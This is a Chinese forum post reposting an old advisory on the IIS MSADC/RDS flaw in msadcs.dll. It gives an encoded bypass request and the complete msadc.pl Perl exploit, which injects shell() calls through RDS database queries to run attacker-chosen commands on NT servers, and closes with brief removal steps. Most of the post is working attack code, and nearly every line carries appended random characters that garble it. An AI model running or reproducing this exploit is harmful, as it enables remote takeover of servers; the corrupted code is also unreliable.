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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) ^\{J5  
-;<>tq'3`  
涉及程序: d}VALjXHX!  
Microsoft NT server t .L4%1OF  
DA=qeVBg  
描述: :@;6  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 IO6MK&R  
#AvEH=:  
详细: -[<vYxX:h:  
如果你没有时间读详细内容的话,就删除: K+-zY[3  
c:\Program Files\Common Files\System\Msadc\msadcs.dll F'ENq6  
有关的安全问题就没有了。 &|NZ8:*+#  
{YBl:rMz  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 'DeW<Sa~  
XK3!V|y`  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 bZK+9IR  
关于利用ODBC远程漏洞的描述,请参看: YPG,9iZ&f  
+/(|?7i@  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm A{M+vsL  
cp|:8 [  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 n{z8Ao%  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp iA&oLu[y3  
S_j1=6 #^  
这里不再论述。 IY0 3"  
!6{J q]  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: j7,13,t1-  
' #KA+?@  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset eL_^: -   
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! Jxf}b}^T  
)FV6,  
1O23"o5=  
#将下面这段保存为txt文件,然后: "perl -x 文件名" )ph30B  
C~{xL>I  
#!perl 7^&lbzVbm(  
# R~!\ -6%_  
# MSADC/RDS 'usage' (aka exploit) script ` %l&zwj>  
# 7x%S](m%  
# by rain.forest.puppy [' ?^>jfr  
# 48:liR  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me xSdN5RN  
# beta test and find errors! K_Z+]]$#  
E`(5UF*>  
use Socket; use Getopt::Std; @|E;}:?u  
getopts("e:vd:h:XR", \%args); \u{Jf'g  
r)c+".0d^  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; G I&qwA  
uvR0TIF4  
if (!defined $args{h} && !defined $args{R}) { gj[z ka0_  
print qq~ F:M/z#:~  
Usage: msadc.pl -h <host> { -d <delay> -X -v } 219R&[cb  
-h <host> = host you want to scan (ip or domain) $1b]xQ  
-d <seconds> = delay between calls, default 1 second ]&' jP  
-X = dump Index Server path table, if available ZMP?'0h=  
-v = verbose 3Hy%SN(  
-e = external dictionary file for step 5 FLK"|*A  
?ISI[hoc  
Or a -R will resume a command session 4+-5,t7  
v*smI7aH  
~; exit;} y9=t;qH@|  
8?A@/  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; ; A x=]Q  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} )\RzE[Cb  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} ix(U:'{  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); D7EXqo  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} =7FE/S  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } KSF5)CZ5  
4u@yJ?U  
if (!defined $args{R}){ $ret = &has_msadc; (6e!09P&  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} 9qnuR'BDu  
/]pX8 d  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" _RN/7\  
. "cmd /c "; ) )fDOJ  
$in=<STDIN>; chomp $in; u):X>??  
$command="cmd /c " . $in ; 9)#gtDM%J  
Ewa[Y=+tx  
if (defined $args{R}) {&load; exit;} X77A; US  
FP.(E9  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; <GSQ2bX[  
&try_btcustmr; ww-XMz h  
A$%@fO.b  
print "\nStep 2: Trying to make our own DSN..."; Q~x*bMb.  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; j@%K*Gb`  
>|v=Ba6R0  
print "\nStep 3: Trying known DSNs..."; p Z0=  
&known_dsn; eL>K2Jxq  
Z'voCWCd  
print "\nStep 4: Trying known .mdbs..."; bMSD/L  
&known_mdb; 8W(<q|t  
Ti0 (VdY  
if (defined $args{e}){ ac2}3 $u  
print "\nStep 5: Trying dictionary of DSN names..."; N;e;4,_ n  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } OJnPP>  
-OHvK0~  
print "Sorry Charley...maybe next time?\n"; QWU5-p9e8  
exit; _K 4eD.  
ON:LPf>"-  
############################################################################## 8yY"x ['  
; :v]NZtc  
sub sendraw { # ripped and modded from whisker Q,[rrG;?@  
sleep($delay); # it's a DoS on the server! At least on mine... oc!biE`u  
my ($pstr)=@_; #N<s^KYG-  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || }T?i%l  
die("Socket problems\n"); ;m-6.AV  
if(connect(S,pack "SnA4x8",2,80,$target)){ Ej;Vr~Wi  
select(S); $|=1; pP?<[ql[w  
print $pstr; my @in=<S>; *5ka.=Qs  
select(STDOUT); close(S); @C!JtgO%  
return @in; Se!gs>  
} else { die("Can't connect...\n"); }} (1QdZD|  
c.|sW2/  
############################################################################## 8Uj68Jl?  
dM);LT8@  
sub make_header { # make the HTTP request 6|Ba  
my $msadc=<<EOT U)&H.^@r$  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 $M:4\E5(  
User-Agent: ACTIVEDATA [V!^\g\6  
Host: $ip )_Z]=5Ds  
Content-Length: $clen BsoFQw4$9  
Connection: Keep-Alive + TPbIRA  
T=hm#]   
ADCClientVersion:01.06 'US:Mr3  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 aRFi0h \  
Y!K^-Y}  
--!ADM!ROX!YOUR!WORLD! ;g;,%jdCS  
Content-Type: application/x-varg *Y| lO  
Content-Length: $reqlen 34&u]4=L)  
V Z4nAG  
EOT *!-}lc^4  
; $msadc=~s/\n/\r\n/g; fJSV)\e0  
return $msadc;} (.jO:#eE%  
?^e*UJNM  
############################################################################## z|t.y.JX  
;j[q?^ b  
sub make_req { # make the RDS request *so6]+)cU  
my ($switch, $p1, $p2)=@_; z/ c'Z#w%  
my $req=""; my $t1, $t2, $query, $dsn; ; /6:lL  
+lY\r +;  
if ($switch==1){ # this is the btcustmr.mdb query E 6>1Fm8%V  
$query="Select * from Customers where City=" . make_shell(); g4BwKENM  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . oT9XJwqnv  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} C9"f6>i  
+oxqS&$L  
elsif ($switch==2){ # this is general make table query FvtM~[Q  
$query="create table AZZ (B int, C varchar(10))"; z9OMC$,V  
$dsn="$p1";} K-g=td/@  
=CD:.FG.  
elsif ($switch==3){ # this is general exploit table query A;/Xt  
$query="select * from AZZ where C=" . make_shell(); ;iwD/=Y  
$dsn="$p1";} K284R=j -&  
}RC. Q`b  
elsif ($switch==4){ # attempt to hork file info from index server 4nVO.Ud0$X  
$query="select path from scope()"; (o6A?37i  
$dsn="Provider=MSIDXS;";} K4K3< Pg  
-7C=- \]  
elsif ($switch==5){ # bad query ,=XS%g}l4  
$query="select"; ( S C7m /  
$dsn="$p1";} a8lo!e9q  
RN cI]oJ  
$t1= make_unicode($query); N@%xLJF=N>  
$t2= make_unicode($dsn); o$qFa9|Ec?  
$req = "\x02\x00\x03\x00"; Yp?a=R  
$req.= "\x08\x00" . pack ("S1", length($t1)); S%a}ip&  
$req.= "\x00\x00" . $t1 ; 9v5.4a}  
$req.= "\x08\x00" . pack ("S1", length($t2)); x r+E  
$req.= "\x00\x00" . $t2 ; <+mO$0h"r  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; 5jj5 7j"  
return $req;} 9e :d2  
MO(5-R`  
############################################################################## MRxo|A{  
D%5 {A=  
sub make_shell { # this makes the shell() statement YA/H;707l  
return "'|shell(\"$command\")|'";} 5BGv^Qb_2  
lN]X2 4t  
############################################################################## xr1I8 5kM  
ni02N3R  
sub make_unicode { # quick little function to convert to unicode u+, jAkr  
my ($in)=@_; my $out; O7L6Htya  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } XQJV.SVS  
return $out;} }gi`?58J6  
@Z1?t%1  
############################################################################## m-pIFL<^N  
I{X@<o}  
sub rdo_success { # checks for RDO return success (this is kludge) \C'I l w  
my (@in) = @_; my $base=content_start(@in); 16d{IGMz  
if($in[$base]=~/multipart\/mixed/){ JqH.QnKcv  
return 1 if( $in[$base+10]=~/^\x09\x00/ );}  ZeDDH  
return 0;} H]]>sE  
2Xk1A S  
############################################################################## z<C~DH  
Vv* 5{_  
sub make_dsn { # this makes a DSN for us 07HX5 Hd  
my @drives=("c","d","e","f"); =,} !Ns{k  
print "\nMaking DSN: "; v2dSC(hRZ  
foreach $drive (@drives) { H603L|4  
print "$drive: "; Q=9VuTE  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . )I0g&e^Tzy  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" T J"{nB  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); jak|LOp  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; X#\P.$  
return 0 if $2 eq "404"; # not found/doesn't exist :fMM-?s]  
if($2 eq "200") { W0C$*oe!_i  
foreach $line (@results) { tI(t%~>^  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} r%?}5"*  
} return 0;} jl ?y}  
=K&q;;h  
############################################################################## &b#NF1Q.  
vA $BBXX  
sub verify_exists { D\i8rqU/l  
my ($page)=@_; jind!@}!  
my @results=sendraw("GET $page HTTP/1.0\n\n"); ,hcBiL/  
return $results[0];} ?)ZLxLV::  
h: (l+jr  
############################################################################## kv`3Y0R-"  
R|^t~h-  
sub try_btcustmr { BtDgv.;GH  
my @drives=("c","d","e","f"); HoQ(1e$G-  
my @dirs=("winnt","winnt35","winnt351","win","windows"); zJym`NF  
?eZ"UGZg'  
foreach $dir (@dirs) { boHm1hPKS  
print "$dir -> "; # fun status so you can see progress 8C4@V[sm`  
foreach $drive (@drives) { B\~3p4S  
print "$drive: "; # ditto !-Tmu  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; cVt$#A)  
$reqlenlen=length( "$reqlen" ); -Z#]_C{Y-)  
$clen= 206 + $reqlenlen + $reqlen; Wug?CFX+T  
E"vi+'(v  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); CX@HG)l  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} ;Q%19f3,6  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} ckkM)|kK  
p RfHbPV?  
############################################################################## =dJEcC_J  
Mdq'> <ajL  
sub odbc_error { tLGwF3e$A  
my (@in)=@_; my $base; 7 5cr!+  
my $base = content_start(@in); .M#>@~XR  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this &qj&WfrB,  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; E!]rh,mYK  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; I5 7<0  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; K%~Kg9  
return $in[$base+4].$in[$base+5].$in[$base+6];} CpJXLc3_d5  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; ny;)+v?mN\  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . ;jfXU_K  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} y#SD-# I-  
w+ )GM  
############################################################################## [}B{e=`!  
{`SGB;ho  
sub verbose { S+=@d\S}"  
my ($in)=@_; D"><S<C\C  
return if !$verbose; &rE l  
print STDOUT "\n$in\n";} oz7udY=]0  
OTbjZ(  
############################################################################## v nT  
G7#~=W 2M  
sub save { CX(yrP6;  
my ($p1, $p2, $p3, $p4)=@_; `E%d$  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; x[<#mt  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; yvnrZ&x :  
close OUT;} Ib<+m%Ac  
A&|(%  
############################################################################## m_W.r+s~C4  
i_9/!D  
sub load { [aVJYr2  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; ;bu;t#  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); '48|f`8$  
@p=<IN>; close(IN); sjbC~Te--  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); eT \Q  
$target= inet_aton($ip) || die("inet_aton problems"); #pxet  
print "Resuming to $ip ..."; #hiDZ>nr  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; ;C@^wI  
if($p[1]==1) { .ceU @^  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; M> l+[U  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; Bc` A]U  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); WN?`Od:y  
if (rdo_success(@results)){print "Success!\n";} \%Ih 6  
else { print "failed\n"; verbose(odbc_error(@results));}} [IX!3I[J]  
elsif ($p[1]==3){ {ca^yHgGy  
if(run_query("$p[3]")){ 8J@OMW&[l  
print "Success!\n";} else { print "failed\n"; }} 9S`b7U=P  
elsif ($p[1]==4){ UmMYe4LQR  
if(run_query($drvst . "$p[3]")){ g0 U\AN  
print "Success!\n"; } else { print "failed\n"; }} "pJ EzC  
exit;} N>#P 1!eP  
8&iI+\lCy  
############################################################################## ))-M+CA  
dQoMAsxzM  
sub create_table { H_^u_ %:e  
my ($in)=@_; 6aK2 {-+  
$reqlen=length( make_req(2,$in,"") ) - 28; tWy<9TF  
$reqlenlen=length( "$reqlen" ); QRix_2+  
$clen= 206 + $reqlenlen + $reqlen; [_B&7#3>7  
my @results=sendraw(make_header() . make_req(2,$in,"")); GOgT(.5  
return 1 if rdo_success(@results); ]t0S_ UH$  
my $temp= odbc_error(@results); verbose($temp); V)?g4M3}  
return 1 if $temp=~/Table 'AZZ' already exists/; lAt1Mq} ?P  
return 0;} Ny<G2! W  
jtJ8r5j 1  
############################################################################## `Y$5g~3.  
fu;B?mIn  
sub known_dsn { -s84/E4Y*  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go / 1@m#ZxA:  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", ?a_q!,8:  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", DFH6.0UW  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); !!pi\J?sk  
gDBQ\vM8  
foreach $dSn (@dsns) { nf^k3QS\  
print "."; t|,Ex7  
next if (!is_access("DSN=$dSn")); 0X6o  
if(create_table("DSN=$dSn")){ qOanu  
print "$dSn successful\n"; pNsLoNZ3w  
if(run_query("DSN=$dSn")){ (M?Q9\X  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { ^vz@d+\Kd  
print "Something's borked. Use verbose next time\n";}}} print "\n";} \d`Sz *  
=1?yS3  
############################################################################## "C|l3X'  
G+p>39P   
sub is_access { PA[Rhoit,  
my ($in)=@_; L-TVe  
$reqlen=length( make_req(5,$in,"") ) - 28; 'Z9F0l"Nr  
$reqlenlen=length( "$reqlen" ); Y3&ecEE  
$clen= 206 + $reqlenlen + $reqlen; 73<yrBxp  
my @results=sendraw(make_header() . make_req(5,$in,""));  `a9>4  
my $temp= odbc_error(@results); H(m+rk  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); Um|Tf]q  
return 0;} BGjTa.&  
|ZzBCL8q  
############################################################################## -JQg{A  
+Enff0 =+  
sub run_query { Bbp9Q,4  
my ($in)=@_; ':dHYvP/UX  
$reqlen=length( make_req(3,$in,"") ) - 28; IH}L1i A)  
$reqlenlen=length( "$reqlen" ); ]jrxrUl  
$clen= 206 + $reqlenlen + $reqlen; fL:Fn"Nv  
my @results=sendraw(make_header() . make_req(3,$in,"")); BS.6d}G4  
return 1 if rdo_success(@results); nJ@hzK.  
my $temp= odbc_error(@results); verbose($temp); {bEEQCweNJ  
return 0;} qa?y lR"kA  
gWPa8q<b  
############################################################################## 2J;CiEB  
Xqw7lj;K  
sub known_mdb { Mb!^_cS(  
my @drives=("c","d","e","f","g"); tYa*%|!v  
my @dirs=("winnt","winnt35","winnt351","win","windows"); I-hhHm<@  
my $dir, $drive, $mdb; jgIzB1H  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; 3S?+G)qKo  
%tLq&tyeY  
# this is sparse, because I don't know of many Jp0.h8i  
my @sysmdbs=( "\\catroot\\icatalog.mdb", |0mI3r  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", _J!mhU A  
"\\system32\\certmdb.mdb", (iP,YKG1?  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% &9{BuBO[  
,:{+ H  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", x=)$sD-3  
"\\cfusion\\cfapps\\forums\\forums_.mdb",  (La  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", gV;GC{pY  
"\\cfusion\\cfapps\\security\\realm_.mdb", '+wTrW m~j  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", bc-)y3gHU  
"\\cfusion\\database\\cfexamples.mdb", }5U f`pM8  
"\\cfusion\\database\\cfsnippets.mdb", 6Fb~`J~s  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", >S]')O$c  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", ;{20Heuz  
"\\cfusion\\brighttiger\\database\\cleam.mdb", Zv93cv  
"\\cfusion\\database\\smpolicy.mdb", VV0$L=mo  
"\\cfusion\\database\cypress.mdb", >AJ|F)  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", [l:.Q?? )|  
"\\website\\cgi-win\\dbsample.mdb", Mr(3]EfgO  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", eW%jDsC  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" RdHR[Usm  
); #these are just `Mg "!n`  
foreach $drive (@drives) { eo[^ij  
foreach $dir (@dirs){ 7m:,-xp  
foreach $mdb (@sysmdbs) { E .5xzY  
print "."; }XU- J An  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ UJ:B:hh''  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";  j C?  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ <i-RF-*S  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; l<?wB|1'  
} else { print "Something's borked. Use verbose next time\n"; }}}}} NBX/V^  
*Yw6UCO  
foreach $drive (@drives) { R#M).2::  
foreach $mdb (@mdbs) { 8b!_b2Za  
print "."; W{d/m;<@N  
if(create_table($drv . $drive . $dir . $mdb)){ 1\uS~RR  
print "\n" . $drive . $dir . $mdb . " successful\n"; <Vb{QOgc;  
if(run_query($drv . $drive . $dir . $mdb)){ (WvA9s{/  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; ;q2T*4NN  
} else { print "Something's borked. Use verbose next time\n"; }}}} 6~LpBlb  
} Ok!{2$P8U9  
&@+; ]t  
############################################################################## \mloR '  
'>BHwc  
sub hork_idx { 0sa EcJ-  
print "\nAttempting to dump Index Server tables...\n"; v]~[~\|a  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; [qB=OxH?  
$reqlen=length( make_req(4,"","") ) - 28; @$]h[   
$reqlenlen=length( "$reqlen" ); S8l+WF4q  
$clen= 206 + $reqlenlen + $reqlen; M;R>]wP"V  
my @results=sendraw2(make_header() . make_req(4,"","")); Tx_ LH"8  
if (rdo_success(@results)){ R0[Gfq9M =  
my $max=@results; my $c; my %d; oLoa71Q}  
for($c=19; $c<$max; $c++){ 0P42C{>'w  
$results[$c]=~s/\x00//g; 5]E5V@C   
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; ojri~erJE?  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; lRb)Tz6SE  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; WyP1"e^ 9  
$d{"$1$2"}="";} C'ZU .Y  
foreach $c (keys %d){ print "$c\n"; } }- Sr@bE  
} else {print "Index server doesn't seem to be installed.\n"; }} RiklwR#~r/  
Nsq%b?#  
############################################################################## =[kv@ p  
UuGv= yC^6  
sub dsn_dict { ^&Bye?`5  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); _17"T0  
while(<IN>){ mD! imq%=  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; 3-'|hb  
next if (!is_access("DSN=$dSn")); gK /K Z8  
if(create_table("DSN=$dSn")){ 4)_ [)MZ\j  
print "$dSn successful\n"; OuoZd!"qf  
if(run_query("DSN=$dSn")){ $)3/N&GXR  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { {+;8dtZ)x  
print "Something's borked. Use verbose next time\n";}}} V.J%4&^X  
print "\n"; close(IN);} ZfU_4Pl->  
@u^Ib33  
############################################################################## 43Q&<r$[T  
sp%7iNs  
sub sendraw2 { # ripped and modded from whisker JLhp25{x  
sleep($delay); # it's a DoS on the server! At least on mine... y3#\mBiw  
my ($pstr)=@_; 4/b#$o<I?  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||  f$3  
die("Socket problems\n"); SDkN  
if(connect(S,pack "SnA4x8",2,80,$target)){ myXV~6R 3  
print "Connected. Getting data"; e(Ve rd:c  
open(OUT,">raw.out"); my @in; F3q5!1  
select(S); $|=1; print $pstr; LPC7Bdjz  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} J0IK =Y  
close(OUT); select(STDOUT); close(S); return @in; hY!G>d{J  
} else { die("Can't connect...\n"); }} MEu-lM7v  
KGIz)/eSg  
############################################################################## (\j<`"n  
m<E7cY3mX  
sub content_start { # this will take in the server headers kHO\#fF<  
my (@in)=@_; my $c; ,3wo  
for ($c=1;$c<500;$c++) { 4{|lzo'&  
if($in[$c] =~/^\x0d\x0a/){ 2rxdRg'YLQ  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } z,)Fvs4U.  
else { return $c+1; }}} m#Cp.|>kP4  
return -1;} # it should never get here actually *;Vq0a!  
2.6,c$2tB  
############################################################################## cMj<k8.{  
x\*5A,w{c]  
sub funky { =xgW$c/yB  
my (@in)=@_; my $error=odbc_error(@in); ;(XSw%Y H  
if($error=~/ADO could not find the specified provider/){ o}T]f(>}  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; IAfYlS#<yD  
exit;} , Le_PJY)  
if($error=~/A Handler is required/){ n}l Z  
print "\nServer has custom handler filters (they most likely are patched)\n"; HBt?cA '  
exit;} >,DR{A2hSB  
if($error=~/specified Handler has denied Access/){ \sk,3b-&'  
print "\nServer has custom handler filters (they most likely are patched)\n"; [-l^,,E  
exit;}} Uc4r  
J(Bn  n  
############################################################################## '&"7(8E} *  
m'pihFR:f  
sub has_msadc { \ .:CL?m#  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); 4ngiad6bR  
my $base=content_start(@results); Ct B> s7  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); g$A1*<+  
return 0;} W?@ ;(k  
7l?=$q>k"  
######################## E(TY%wO  
b`^$2RM&  
+G?3j,a\  
解决方案: )T>a|.  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll 3}"VUS0wh  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 +Y .As  
Va1|XQ<CL  
拿出来充数 哈哈
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